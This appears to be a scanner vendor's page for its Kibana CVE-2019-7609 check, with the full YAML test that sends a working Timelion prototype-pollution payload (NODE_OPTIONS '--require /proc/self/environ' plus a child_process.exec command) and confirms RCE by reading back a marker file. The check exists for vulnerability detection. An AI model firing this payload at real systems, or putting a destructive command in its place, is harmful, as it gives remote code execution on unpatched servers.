Kibana — 1 vulnerability check

noctis ships 1 vulnerability check for Kibana, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Kibana Timelion Prototype-Pollution RCE

CVECVE-2019-7609
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, sleep, match · highest QoD 97
Feedtests/vulnerabilities/kibana/CVE-2019-7609.yaml

Tests Kibana Timelion for the prototype-pollution RCE. A crafted /api/timelion/run sheet pollutes Object.prototype.env so a spawned Node child process runs an attacker command. Confirmed by writing a unique marker to a favicons asset and reading it back over HTTP (QoD 97).

How noctis detects it

  1. HTTP(S) request POST /api/timelion/run with a crafted body
  2. HTTP(S) request GET /socket.io/?EIO=3&transport=polling&t=noctis
  3. HTTP(S) request GET /ui/favicons/{{oob_token}}.txt
  4. Checks fav_resp.body for noctis_kibana_rce_ → finding QoD 97: RCE confirmed — Timelion prototype-pollution wrote a unique marker executed by a Node child process and read back at /ui/favicons/….txt: …

References:

Feed source — tests/vulnerabilities/kibana/CVE-2019-7609.yaml
# Kibana Timelion prototype-pollution RCE — CVE-2019-7609
#
# Kibana's Timelion visualizer evaluates a user-supplied expression. A
# prototype-pollution flaw lets an unauthenticated attacker set
# `__proto__.env.NODE_OPTIONS` / `env.AAAA`, so a subsequent Node child
# process is spawned with attacker-controlled options → arbitrary command
# execution.
#
# Affected: Kibana < 5.6.15 and < 6.6.1.
#
# Detection (active, confirmed RCE via write-then-read):
#   1. POST /api/timelion/run with a prototype-pollution sheet whose command
#      writes a unique marker to a file under the public favicons assets dir.
#   2. GET /socket.io/... triggers the poisoned child process; short settle.
#   3. GET /ui/favicons/<token>.txt → the marker is served back = the command
#      ran = RCE. QoD 97. A patched Kibana rejects the pollution and never
#      serves the marker.
uid: cff81132-0b11-4ba8-92d0-bb8c1829b99c
name: "Kibana Timelion Prototype-Pollution RCE (CVE-2019-7609)"
description: |
  Tests Kibana Timelion for the prototype-pollution RCE. A crafted
  /api/timelion/run sheet pollutes Object.prototype.env so a spawned Node
  child process runs an attacker command. Confirmed by writing a unique marker
  to a favicons asset and reading it back over HTTP (QoD 97).
cves: [CVE-2019-7609]
cvss: 10.0
severity: critical
confidence_base: 0.20
tags: [kibana, timelion, prototype-pollution, rce]
category: rce
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-7609"
  - "https://github.com/mpgn/CVE-2019-7609"

steps:
  # ── Step 1: pollute Object.prototype.env and schedule the marker write ───
  - id: pollute
    action: http_request
    method: POST
    path: "/api/timelion/run"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      kbn-xsrf: "noctis"
    body: |-
      {"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"echo noctis_kibana_rce_{{oob_token}} > src/ui/public/assets/favicons/{{oob_token}}.txt\");process.exit()//',label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"UTC"}}
    store_as: pollute_resp

  # ── Step 2: trigger the poisoned child process ───────────────────────────
  - id: trigger
    action: http_request
    method: GET
    path: "/socket.io/?EIO=3&transport=polling&t=noctis"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: trigger_resp
    condition: "pollute_resp.status == 200"

  # ── settle: give the child process time to write the marker ──────────────
  - id: settle
    action: sleep
    duration_ms: 1500
    condition: "pollute_resp.status == 200"

  # ── Step 3: read the marker back → confirmed RCE ─────────────────────────
  - id: readback
    action: http_request
    method: GET
    path: "/ui/favicons/{{oob_token}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: fav_resp
    condition: "pollute_resp.status == 200"

  - id: confirm
    action: match
    source: fav_resp.body
    pattern: "noctis_kibana_rce_"
    condition: "pollute_resp.status == 200 && fav_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "RCE confirmed — Timelion prototype-pollution wrote a unique marker executed by a Node child process and read back at /ui/favicons/{{oob_token}}.txt: {{fav_resp.body}}"
      stop: true

View these feeds on GitHub